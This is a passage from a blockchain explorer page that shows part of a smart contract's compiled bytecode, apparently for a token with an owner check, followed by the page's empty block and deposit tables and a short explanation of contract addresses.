73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e9f9190611640565b925050819055506000612710600654600354610ebb919061159e565b610ec5919061160f565b9050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f1357600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f709190611271565b60405180910390a36001935050505061109a565b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd391906114e8565b9250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110299190611640565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108d9190611271565b60405180910390a3600190505b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110db5780820151818401526020810190506110c0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611103826110a1565b61110d81856110ac565b935061111d8185602086016110bd565b611126816110e7565b840191505092915050565b6000602082019050818103600083015261114b81846110f8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061118382611158565b9050919050565b61119381611178565b811461119e57600080fd5b50565b6000813590506111b08161118a565b92915050565b6000819050919050565b6111c9816111b6565b81146111d457600080fd5b50565b6000813590506111e6816111c0565b92915050565b6000806040838503121561120357611202611153565b5b6000611211858286016111a1565b9250506020611222858286016111d7565b9150509250929050565b60008115159050919050565b6112418161122c565b82525050565b600060208201905061125c6000830184611238565b92915050565b61126b816111b6565b82525050565b60006020820190506112866000830184611262565b92915050565b6000806000606084860312156112a5576112a4611153565b5b60006112b3868287016111a1565b93505060206112c4868287016111a1565b92505060406112d5868287016111d7565b9150509250925092565b600060ff82169050919050565b6112f5816112df565b82525050565b600060208201905061131060008301846112ec565b92915050565b60006020828403121561132c5761132b611153565b5b600061133a848285016111a1565b91505092915050565b61134c81611178565b82525050565b60006020820190506113676000830184611343565b92915050565b6000806040838503121561138457611383611153565b5b6000611392858286016111d7565b92505060206113a3858286016111d7565b9150509250929050565b600080604083850312156113c4576113c3611153565b5b60006113d2858286016111a1565b92505060206113e3858286016111a1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061143457607f821691505b602082108103611447576114466113ed565b5b50919050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000611483600a836110ac565b915061148e8261144d565b602082019050919050565b600060208201905081810360008301526114b281611476565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114f3826111b6565b91506114fe836111b6565b9250828203905081811115611516576115156114b9565b5b92915050565b60006040820190506115316000830185611343565b61153e6020830184611262565b9392505050565b61154e8161122c565b811461155957600080fd5b50565b60008151905061156b81611545565b92915050565b60006020828403121561158757611586611153565b5b60006115958482850161155c565b91505092915050565b60006115a9826111b6565b91506115b4836111b6565b92508282026115c2816111b6565b915082820484148315176115d9576115d86114b9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061161a826111b6565b9150611625836111b6565b925082611635576116346115e0565b5b828204905092915050565b600061164b826111b6565b9150611656836111b6565b925082820190508082111561166e5761166d6114b9565b5b9291505056fea2646970667358221220235db90a96d90cced3190a5082701183bca10b63a4a6ca5867bf6f0d7a31642164736f6c63430008180033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.